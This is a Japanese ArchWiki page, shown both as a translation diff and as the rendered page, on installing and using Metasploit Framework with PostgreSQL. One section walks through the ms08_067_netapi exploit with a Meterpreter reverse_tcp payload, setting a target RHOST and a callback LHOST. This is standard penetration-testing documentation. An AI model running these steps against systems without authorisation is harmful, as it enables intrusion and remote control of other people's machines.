「Metasploit Framework」の版間の差分

提供: ArchWiki
ナビゲーションに移動 検索に移動
92行目: 92行目:
 
Metasploit ではあらゆるもの (スクリプト、ファイル、プログラムなど) がモジュールとなっています。6種類のモジュールが存在します:
 
Metasploit ではあらゆるもの (スクリプト、ファイル、プログラムなど) がモジュールとなっています。6種類のモジュールが存在します:
   
  +
* {{ic|auxiliary}} - [[Nmap|ポートスキャン]]やバージョン検出、ネットワークトラフィックの解析など、攻撃者の様々な作業を補助するモジュール。
* {{ic|auxiliary}} - Modules for helping the attacker in various tasks, like [[Nmap|port scanning]], version detection or network traffic analysis
 
  +
* {{ic|exploit}} - 脆弱性を利用して、バッファオーバーフローを起こしたり認証を迂回して、ペイロードの実行をできるようにするコード。
* {{ic|exploit}} - The code that takes advantage of a vulnerability and allows the execution of the payload, like triggering buffer overflow or bypassing authentication
 
  +
* {{ic|payload}} - リモート接続の確立や meterpreter セッションの開始、シェルコマンドの実行など、exploit が成功した後にすぐ実行すること。
* {{ic|payload}} - The thing that has to be done right after a successful exploit, like establishing a remote connection, starting a meterpreter session or executing some shell commands
 
  +
* {{ic|post}} - exploit とリモート接続が成功した後に、パスワードを盗取したりキーロガーを設定、あるいはファイルをダウンロードするために実行する様々なプログラム。
* {{ic|post}} - Various programs that can be run after successful exploitation and remote connection, like collecting passwords, setting up keyloggers or downloading files
 
* {{ic|encoder}} - Programs for performing encryption
+
* {{ic|encoder}} - 暗号化を実行するためのプログラム。
  +
* {{ic|nop}} - ''NOP'' ジェネレータ。''NOP'' は何もしないアセンブリ言語の命令です。この命令の機械語はハードウェアのアーキテクチャによって異なります。''NOP'' 命令は実行可能ファイルの空白を埋めるのに有用です。
* {{ic|nop}} - ''NOP'' generators. ''NOP'' is an assembly language instruction which simply does nothing. The machine code of this instruction is different on each hardware architecture. ''NOP'' instructions are useful for filling the void in executables.
 
   
 
=== exploit の検索 ===
 
=== exploit の検索 ===
   
{{Note|Currently the {{ic|search}} command [[#Bugs|does not work properly]]. Refer to [[#Searching from the database]] for a workaround.}}
+
{{Note|現在 {{ic|search}} コマンドは[[#バグ|正しく機能しません]]。詳しくは [[#データベースから検索]] を参照。}}
   
  +
対象のシステムで動いているオペレーティングシステムとソフトウェアのバージョンを調べるには、[[Nmap|ポートスキャン]]を実行します。ポートスキャンの情報を使って、{{ic|search}} コマンドで利用可能な exploit を検索することができます。
To discover what operating system and software version a target runs, perform a [[Nmap|port scan]]. With this information, use the {{ic|search}} command to search for available exploits.
 
   
  +
例えば、Novell の Linux プラットフォームの exploit を全て検索するには:
For example, to search for all exploits on Linux platform of Novell:
 
   
 
msf > search platform:linux type:exploit name:Novell
 
msf > search platform:linux type:exploit name:Novell
   
  +
特定のフィールドを検索したいときは、フィールドの名前の後ろに、コロンと検索フレーズを入力します。以下の検索フィールドが使えます:
To search for specific field, type it's name, followed by column and the phrase. The following search fields are available:
 
   
 
{| class="wikitable"
 
{| class="wikitable"
118行目: 118行目:
 
|-
 
|-
 
| {{ic|app}}
 
| {{ic|app}}
| style=white-space:nowrap | Passive (client) or Active (server) exploits
+
| style=white-space:nowrap | Passive (client) あるいは Active (server) な exploit
 
| {{ic|client}}, {{ic|server}}
 
| {{ic|client}}, {{ic|server}}
 
| style=white-space:nowrap | {{ic|module_details.stance}}
 
| style=white-space:nowrap | {{ic|module_details.stance}}
 
|-
 
|-
 
| {{ic|author}}
 
| {{ic|author}}
| style=white-space:nowrap | Name and email of module Author
+
| style=white-space:nowrap | モジュールの作者の名前とメールアドレス
  +
| 何でも入力可能
| Any phrase
 
 
| style=white-space:nowrap | {{ic|module_authors.name}}
 
| style=white-space:nowrap | {{ic|module_authors.name}}
 
|-
 
|-
 
| {{ic|type}}
 
| {{ic|type}}
| style=white-space:nowrap | The [[#Module types|module type]]
+
| style=white-space:nowrap | [[#モジュールのタイプ|モジュールのタイプ]]
 
| {{ic|auxiliary}}, {{ic|exploit}}, {{ic|payload}}, {{ic|post}}, {{ic|encoder}}, {{ic|nop}}
 
| {{ic|auxiliary}}, {{ic|exploit}}, {{ic|payload}}, {{ic|post}}, {{ic|encoder}}, {{ic|nop}}
 
| style=white-space:nowrap | {{ic|module_details.mtype}}
 
| style=white-space:nowrap | {{ic|module_details.mtype}}
 
|-
 
|-
 
| {{ic|name}}
 
| {{ic|name}}
| style=white-space:nowrap | The path (Name) and the short description
+
| style=white-space:nowrap | パス (Name) と短い説明
  +
| 何でも入力可能
| Any phrase
 
 
| {{ic|module_details.fullname}}, {{ic|module_details.name}}
 
| {{ic|module_details.fullname}}, {{ic|module_details.name}}
 
|-
 
|-
 
| {{ic|platform}}
 
| {{ic|platform}}
| style=white-space:nowrap | The target hardware or software platform
+
| style=white-space:nowrap | 対象ハードウェアあるいはソフトウェアプラットフォーム
 
| {{ic|bsdi}}, {{ic|netware}}, {{ic|linux}}, {{ic|hpux}}, {{ic|irix}}, {{ic|osx}}, {{ic|bsd}}, {{ic|platform}}, {{ic|java}}, {{ic|javascript}}, {{ic|unix}}, {{ic|php}}, {{ic|firefox}}, {{ic|nodejs}}, {{ic|ruby}}, {{ic|cisco}}, {{ic|android}}, {{ic|aix}}, {{ic|windows}}, {{ic|python}}, {{ic|solaris}}
 
| {{ic|bsdi}}, {{ic|netware}}, {{ic|linux}}, {{ic|hpux}}, {{ic|irix}}, {{ic|osx}}, {{ic|bsd}}, {{ic|platform}}, {{ic|java}}, {{ic|javascript}}, {{ic|unix}}, {{ic|php}}, {{ic|firefox}}, {{ic|nodejs}}, {{ic|ruby}}, {{ic|cisco}}, {{ic|android}}, {{ic|aix}}, {{ic|windows}}, {{ic|python}}, {{ic|solaris}}
 
| style=white-space:nowrap | {{ic|module_platforms.name}}
 
| style=white-space:nowrap | {{ic|module_platforms.name}}
 
|-
 
|-
| {{ic|bid}}, {{ic|cve}}, {{ic|edb}}, {{ic|osvdb}} or {{ic|ref}}
+
| {{ic|bid}}, {{ic|cve}}, {{ic|edb}}, {{ic|osvdb}}, {{ic|ref}}
| The [http://www.securityfocus.com/ Bugtraq], [http://www.cvedetails.com/ CVE], [http://www.exploit-db.com/ Exploit-DB], [http://www.osvdb.org/ OSBDB] ID or any
+
| [http://www.securityfocus.com/ Bugtraq], [http://www.cvedetails.com/ CVE], [http://www.exploit-db.com/ Exploit-DB], [http://www.osvdb.org/ OSBDB] ID など
  +
| Exploit データベースのエントリ ID あるいは上流のレポート URL の一部
| Exploit database entry ID, or a part of upstream report URL
 
 
| style=white-space:nowrap | {{ic|module_refs.name}}
 
| style=white-space:nowrap | {{ic|module_refs.name}}
 
|-
 
|-
 
| (No field)
 
| (No field)
| All of the above except {{ic|app}} and {{ic|type}}
+
| 上記の {{ic|app}} {{ic|type}} を除く全て
  +
| 何でも入力可能
| Any phrase
 
  +
| 上記の全て
| All of the above
 
 
|}
 
|}
   
  +
高度な検索方法は [[#データベースから検索]] や [[#データベース検索のサンプル]] を見て下さい。
See [[#Searching from the database]] and [[#Database search examples]] for more advanced search queries.
 
   
 
=== exploit を使う ===
 
=== exploit を使う ===
   
  +
適当な exploit を選択したら、ハッキングの時間です。
After choosing an appropriate exploit, it's time to start hacking!
 
   
  +
まず {{ic|use}} コマンドを使って exploit を選択:
First, select an exploit using the {{ic|use}} command:
 
   
 
msf > use exploit/windows/smb/ms08_067_netapi
 
msf > use exploit/windows/smb/ms08_067_netapi
   
  +
{{Note|{{ic|ms08_067_netapi}} は Windows XP と Windows Server 2003 の SMB サービスに影響を与える最も有名な exploit の一つです。2008年に公開された exploit で、ファイアウォールが無効になっていてパッチが適用されていないシステムなら、かなり確実に exploit することができます。}}
{{Note|{{ic|ms08_067_netapi}} is one of the most popular exploits affecting Windows XP and Windows Server 2003 SMB services. It was disclosed in 2008 and proves to be very reliable in exploiting unpatched systems which have firewalls disabled.}}
 
   
  +
モジュールの情報を表示するには、{{ic|info}} コマンドを使用:
To view information about a module, use the {{ic|info}} command:
 
   
 
msf exploit(ms08_067_netapi) > info exploit/windows/smb/ms08_067_netapi
 
msf exploit(ms08_067_netapi) > info exploit/windows/smb/ms08_067_netapi
   
  +
何も引数を付けないで {{ic|info}} を実行すると、現在選択されているモジュールの情報が表示されます。
Running {{ic|info}} without arguments will show info about currently selected module.
 
   
  +
選択した exploit のオプションを確認するには、次を実行:
To view the selected exploit's options, run:
 
   
 
{{hc|msf exploit(ms08_067_netapi) > show options|
 
{{hc|msf exploit(ms08_067_netapi) > show options|
185行目: 185行目:
 
}}
 
}}
   
  +
exploit する前に必要なフィールドを全て設定してください。上記の場合、{{ic|RHOST}} 変数を指定する必要があります。変数に値を指定するには {{ic|set}} コマンドを使います:
All the required fields must be provided before exploitation. Here, only the {{ic|RHOST}} variable must be specified. To assign a value to a variable use the {{ic|set}} command:
 
   
 
msf exploit(ms08_067_netapi) > set RHOST 192.168.56.102
 
msf exploit(ms08_067_netapi) > set RHOST 192.168.56.102
   
  +
そしてペイロードを選択:
Now choose the payload:
 
   
 
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
 
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
   
  +
{{Note|Meterpreter は Metasploit に組み込まれたコマンドシェルで、攻撃者はこれを使って exploit されたシステムでリモートコマンドを実行することができます。exploit したコンピュータから exploit を仕掛けたコンピュータに接続を確立するときは Reverse TCP が使われます。}}
{{Note|Meterpreter is a command shell built into Metasploit and allows the attacker to run remote commands on exploited systems. Reverse TCP is technique when the exploited computer establishes a connection back to the computer it was exploited from.}}
 
   
  +
ペイロードを選択 (つまりモジュールを選択) するとオプションが増えます。もう一度 {{ic|show optons}} を実行してください:
Choosing a payload (actually, choosing modules in general) will add more options. Run {{ic|show optons}} again:
 
   
 
{{hc|msf exploit(ms08_067_netapi) > show options|
 
{{hc|msf exploit(ms08_067_netapi) > show options|
216行目: 216行目:
 
}}
 
}}
   
  +
{{ic|LHOST}} 変数にあなたのコンピュータのアドレスを指定してください。exploit されたコンピュータはそのアドレスに接続リクエストを送信します:
Now assign {{ic|LHOST}} variable to the address of your computer, where the exploited computer will send connection requests to:
 
   
 
msf exploit(ms08_067_netapi) > set LHOST 192.168.56.1
 
msf exploit(ms08_067_netapi) > set LHOST 192.168.56.1
   
  +
では攻撃を開始してください:
Now launch the attack!
 
   
 
msf exploit(ms08_067_netapi) > exploit
 
msf exploit(ms08_067_netapi) > exploit
   
  +
上手く行けば、Meterpreter セッションが表示され、リモートコンピュータであらゆることができるようになります。利用可能なコマンドは [[#Meterpreter]] を参照。
If you are lucky, you will be dropped to a Meterpreter session where you can do anything on the remote computer. See [[#Meterpreter]] for available commands.
 
   
 
== バグ ==
 
== バグ ==
230行目: 230行目:
 
=== 検索で正しくフィルタリングされない ===
 
=== 検索で正しくフィルタリングされない ===
   
Currently the {{ic|search}} command in {{ic|msfconsole}} does not properly filter the results if more than 1 filters are specified. See [https://dev.metasploit.com/redmine/issues/8822 the bug report] for details.
+
現在 {{ic|msfconsole}} {{ic|search}} コマンドでは複数のフィールドが指定されたときに正しく検索結果がフィルタリングされません。詳しくは [https://dev.metasploit.com/redmine/issues/8822 バグレポート] を見て下さい。
   
  +
対処方法は [[#データベースから検索]] を参照。
See [[#Searching from the database]] for a workaround.
 
   
 
== Tips and tricks ==
 
== Tips and tricks ==

2015年11月22日 (日) 22:51時点における版

公式サイト より:

今日セキュリティの専門家がフリーに使える最も便利な検査ツールといったら MSF しかありません。豊富な商用グレードの exploit と強力な exploit 開発環境、幅広いネットワークの情報収集ツールとウェブの脆弱性発見プラグイン。Metasploit Framework は真に優れた作業環境を提供します。MSF は単なる exploit のコレクションというのを越えて、様々なニーズに答えて利用ができるインフラストラクチャとなっています。車輪の再発明を避けて、あなたのためだけの環境に集中することができるでしょう。

現在、Metasploit を使うには対象環境に Postgresql をセットアップ・設定する必要があります。この記事では Postgresql データベースを使って metasploit を動作させる方法を説明します。

インストール

AUR から metasploitAUR をインストールしてください。

最新の開発版を使いたいときは、metasploit-gitAUR をインストールしてください。

RVM

Msfconsole は Ruby を必要とし、エラーなく動かすために多少の Ruby#RubyGems が必要になります。

RVM#RVM のインストールRVM#RVM を使う の記事に従って Ruby バージョン 2.1.5 をインストールしてデフォルトで使用するように設定してください。

設定が完了したら、新しく作成した RVM 環境を読み込みます:

$ source ~/.rvm/scripts/rvm

そして Ruby#Bundler を使って Msfconsole を動かすのに必要な gem を全てインストールしてください:

$ gem install bundler
$ bundle install
ノート: Ruby 2.1.5 よりも古いバージョンを使っていると metasploit-concern gem のインストールに失敗します。

データベースの設定

ノート: 以下、msfconsole から実行するコマンドには全て msf > を前に付けます。

Metasploit はデータベースがなくても使うことができますが、検索などのキャッシュを使用する操作がとても遅くなります。このセクションでは Metasploit の Postgresql データベースサーバーをセットアップする方法を説明します。

PostgreSQL の記事に従って msf という名前の新しいデータベースを作成してください。データベースの名前は何でもかまいませんが、この記事では msf ということにします。

msfconsole を起動して以下を入力:

msf > db_connect user@msf

user はデータベースの所有者の名前に置き換えてください (通常はあなたの Linux ユーザー名)。

データベースキャッシュを再生成:

msf > db_rebuild_cache

Metasploit はバックグラウンドでキャッシュを再生成するため、コマンドの実行中にも他のことができます。

ヒント: 初めてキャッシュを再生成するときは数分間はかかります。tophtop を実行することでキャッシュ生成の進捗を監視できます。生成中、Ruby/Postgres/Metasploit プロセスは CPU 時間を 50% まで占有します。

現在 Metasploit では msfconsole を起動するたびに db_connect コマンドを実行する必要があります。毎回このコマンドを入力するのが面倒くさい場合、シェルのスタートアップファイル (例: ~/.bashrc) に以下のエイリアスを追加してください:

alias msfconsole="msfconsole --quiet -x \"db_connect ${USER}@msf\""

quiet オプションは起動時の ASCII バナーを無効化して、-x コマンドは起動後すぐに指定されたコマンドを実行します。

.msf4 ディレクトリに database.yml ファイルを作成する方法もあります。例:

~/.msf4/database.yml
production:
 adapter: postgresql
 database: msf
 username: ${USER}
 password: ${PASS}
 host: localhost
 port: 5432
 pool: 5
 timeout: 5
ノート: データベースキャッシュを作成する必要があるのは一度だけです。その後は起動時に、msfconsole から [*] Rebuilding the module cache in the background... と表示されますが、実際には変更された部分だけが更新されます。データベースに何の変更も行われなかったときは、1秒もかかりません。

db_status を実行してデータベースの接続が正しく確立していることを確認してください:

msf > db_status
[*] postgresql connected to msf

使用方法

Metasploit では複数のインターフェイスが使えます。このセクションでは MSF の大抵の機能を使えるインターフェイスである msfconsole を利用する方法を説明します。

起動するには、msfconsole と入力してください。プロンプトが msf > に代わり、コマンドの入力を待機していることがわかります。

ヒント: Besides additional Metasploit commands explained below, all the regular shell commands and scripts found in $PATH are available too! (except for aliases)

モジュールのタイプ

Metasploit ではあらゆるもの (スクリプト、ファイル、プログラムなど) がモジュールとなっています。6種類のモジュールが存在します:

  • auxiliary - ポートスキャンやバージョン検出、ネットワークトラフィックの解析など、攻撃者の様々な作業を補助するモジュール。
  • exploit - 脆弱性を利用して、バッファオーバーフローを起こしたり認証を迂回して、ペイロードの実行をできるようにするコード。
  • payload - リモート接続の確立や meterpreter セッションの開始、シェルコマンドの実行など、exploit が成功した後にすぐ実行すること。
  • post - exploit とリモート接続が成功した後に、パスワードを盗取したりキーロガーを設定、あるいはファイルをダウンロードするために実行する様々なプログラム。
  • encoder - 暗号化を実行するためのプログラム。
  • nop - NOP ジェネレータ。NOP は何もしないアセンブリ言語の命令です。この命令の機械語はハードウェアのアーキテクチャによって異なります。NOP 命令は実行可能ファイルの空白を埋めるのに有用です。

exploit の検索

ノート: 現在 search コマンドは正しく機能しません。詳しくは #データベースから検索 を参照。

対象のシステムで動いているオペレーティングシステムとソフトウェアのバージョンを調べるには、ポートスキャンを実行します。ポートスキャンの情報を使って、search コマンドで利用可能な exploit を検索することができます。

例えば、Novell の Linux プラットフォームの exploit を全て検索するには:

msf > search platform:linux type:exploit name:Novell

特定のフィールドを検索したいときは、フィールドの名前の後ろに、コロンと検索フレーズを入力します。以下の検索フィールドが使えます:

検索フィールド 説明 入力可能な値 DB テーブル & カラム
app Passive (client) あるいは Active (server) な exploit client, server module_details.stance
author モジュールの作者の名前とメールアドレス 何でも入力可能 module_authors.name
type モジュールのタイプ auxiliary, exploit, payload, post, encoder, nop module_details.mtype
name パス (Name) と短い説明 何でも入力可能 module_details.fullname, module_details.name
platform 対象ハードウェアあるいはソフトウェアプラットフォーム bsdi, netware, linux, hpux, irix, osx, bsd, platform, java, javascript, unix, php, firefox, nodejs, ruby, cisco, android, aix, windows, python, solaris module_platforms.name
bid, cve, edb, osvdb, ref Bugtraq, CVE, Exploit-DB, OSBDB ID など Exploit データベースのエントリ ID あるいは上流のレポート URL の一部 module_refs.name
(No field) 上記の apptype を除く全て 何でも入力可能 上記の全て

高度な検索方法は #データベースから検索#データベース検索のサンプル を見て下さい。

exploit を使う

適当な exploit を選択したら、ハッキングの時間です。

まず use コマンドを使って exploit を選択:

msf > use exploit/windows/smb/ms08_067_netapi
ノート: ms08_067_netapi は Windows XP と Windows Server 2003 の SMB サービスに影響を与える最も有名な exploit の一つです。2008年に公開された exploit で、ファイアウォールが無効になっていてパッチが適用されていないシステムなら、かなり確実に exploit することができます。

モジュールの情報を表示するには、info コマンドを使用:

msf exploit(ms08_067_netapi) > info exploit/windows/smb/ms08_067_netapi

何も引数を付けないで info を実行すると、現在選択されているモジュールの情報が表示されます。

選択した exploit のオプションを確認するには、次を実行:

msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST                     yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

   ...

exploit する前に必要なフィールドを全て設定してください。上記の場合、RHOST 変数を指定する必要があります。変数に値を指定するには set コマンドを使います:

msf exploit(ms08_067_netapi) > set RHOST 192.168.56.102

そしてペイロードを選択:

msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
ノート: Meterpreter は Metasploit に組み込まれたコマンドシェルで、攻撃者はこれを使って exploit されたシステムでリモートコマンドを実行することができます。exploit したコンピュータから exploit を仕掛けたコンピュータに接続を確立するときは Reverse TCP が使われます。

ペイロードを選択 (つまりモジュールを選択) するとオプションが増えます。もう一度 show optons を実行してください:

msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    192.168.56.102   yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (accepted: seh, thread, process, none)
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port

LHOST 変数にあなたのコンピュータのアドレスを指定してください。exploit されたコンピュータはそのアドレスに接続リクエストを送信します:

msf exploit(ms08_067_netapi) > set LHOST 192.168.56.1

では攻撃を開始してください:

msf exploit(ms08_067_netapi) > exploit

上手く行けば、Meterpreter セッションが表示され、リモートコンピュータであらゆることができるようになります。利用可能なコマンドは #Meterpreter を参照。

バグ

検索で正しくフィルタリングされない

現在 msfconsolesearch コマンドでは複数のフィールドが指定されたときに正しく検索結果がフィルタリングされません。詳しくは バグレポート を見て下さい。

対処方法は #データベースから検索 を参照。

Tips and tricks

データベースから検索

Since everything in Metasploit is stored in a database, it's easy to make powerful search queries without the need of the search frontend command.

To start the database interface, run:

$ psql msf

The information about modules is stored in 8 tables:

テーブル名 中身
module_details The "main" table, describes various details of each module
module_actions The action names of auxiliary modules
module_archs The target hardware architecture or software platform
module_authors Names and emails of module author
module_mixins Empty (???)
module_platforms The target operating system. See also #Popularity of a platform by number of exploits
module_refs References to various online exploit databases and reports
module_targets The target program name and version of the exploit
ヒント: To see what type of details (columns) a table contains, run \d+ table_name. For example: \d+ module_details.

Almost all tables have 3 columns: id, detail_id and name, except for module_details table which has 16 columns.

The detail_id values are pointers to the rows of module_details table.

To see the all the contents of a table, run:

SELECT * FROM table_name;

Multiple:

  • Architecture
  • Platform
  • Target

Module options:

  • module type
  • stance
  • privileged
  • path
  • name
  • refname
  • rank
  • privileged
  • disclosure date

データベース検索のサンプル

The module_details table contains multiple columns and viewing them all at once is not convenient. To show only basic information about the modules:

SELECT id, mtype, refname, disclosure_date, rank, stance, name
FROM module_details;

Show some information about available modules, include platform information from module_platforms:

SELECT module_details.id, mtype, module_platforms.name as platform, refname, DATE(disclosure_date), rank, module_details.name
FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id;

Show all client (aggressive) exploits for Windows platform:

SELECT module_details.id, mtype, module_platforms.name as platform, refname, DATE(disclosure_date), rank, module_details.name
FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id
WHERE module_platforms.name = 'windows'
AND mtype = 'exploit'
AND stance = 'aggressive';

Show all exploits for Windows platform with rank >= 500 disclosed after 2013:

SELECT module_details.id, mtype, module_platforms.name as platform, refname, DATE(disclosure_date), rank, module_details.name
FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id
WHERE module_platforms.name = 'windows'
AND mtype = 'exploit'
AND rank >= 500
AND disclosure_date >= TIMESTAMP '2013-1-1';

Show all aggressive (client) exploits for Windows platform with rank >= 500 and include additional information about module's target:

SELECT module_details.id, mtype, module_platforms.name as platform, module_details.name, DATE(disclosure_date), rank, module_targets.name as target
FROM module_details JOIN module_platforms ON module_details.id = module_platforms.detail_id JOIN module_targets on module_details.id = module_targets.detail_id
WHERE module_platforms.name = 'windows'
AND mtype = 'exploit'
AND stance = 'aggressive'
AND rank >= 500
order by target;

exploit の数によるプラットフォームの人気度

To view the possible platform values, and number of available exploits, run from psql:

SELECT name, count(*)
FROM module_platforms
GROUP BY name
ORDER BY count DESC;

起動時の ASCII バナーを無効化

To disable the banner, run msfconsole with -q/--quiet argument:

$ msfconsole --quiet

セッションが変わっても変数の値を維持する

If you don't want the variables to reset when selecting another module and when rerunning msfconsole then set it globally via setg, for example:

msf > setg RHOST 192.168.56.102

トラブルシューティング

VNC ビューアでクリックできない

If you selected VNC viewer as a payload, but are unable to click or do any actions, that means you forgot to set the ViewOnly variable to false. To fix this problem, re-run the exploit with the variable set to false:

msf > set ViewOnly false

cannot load such file -- robots (LoadError)

以下のようなエラーが表示される場合:

~/metasploit-framework/lib/metasploit/framework.rb:19:in `require': cannot load such file -- robots (LoadError)
    from ~/metasploit-framework/lib/metasploit/framework.rb:19:in `<top (required)>'
    from ~/metasploit-framework/lib/metasploit/framework/database.rb:1:in `require'
    from ~/metasploit-framework/lib/metasploit/framework/database.rb:1:in `<top (required)>'
    from ~/metasploit-framework/lib/metasploit/framework/parsed_options/base.rb:17:in `require'
    from ~/metasploit-framework/lib/metasploit/framework/parsed_options/base.rb:17:in `<top (required)>'
    from ~/metasploit-framework/lib/metasploit/framework/parsed_options/console.rb:2:in `<top (required)>'
    from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:230:in `const_get'
    from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:230:in `block in constantize'
    from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:229:in `each'
    from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:229:in `constantize'
    from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/core_ext/string/inflections.rb:54:in `constantize'
    from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:73:in `parsed_options_class'
    from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:69:in `parsed_options'
    from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:47:in `require_environment!'
    from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:81:in `start'
    from ./msfconsole:48:in `<main>'

This happens because the file robots.rb has incorrect permissions and can be read only by the root user (see the bug report):

$ ls -l /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/robots-0.10.1/lib
total 4
-rw-r----- 1 root root 3174 Oct 19 16:47 robots.rb

To fix this, simply change the permission to be world-readable:

# chmod o+r /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/robots-0.10.1/lib/robots.rb

db_connect が何もエラーを表示しないで失敗する

If upon running db_connect you see no output, but later getting a message like this:

[!] Database not connected or cache not built, using slow search

that probably means that the postgresql service is not running.

参照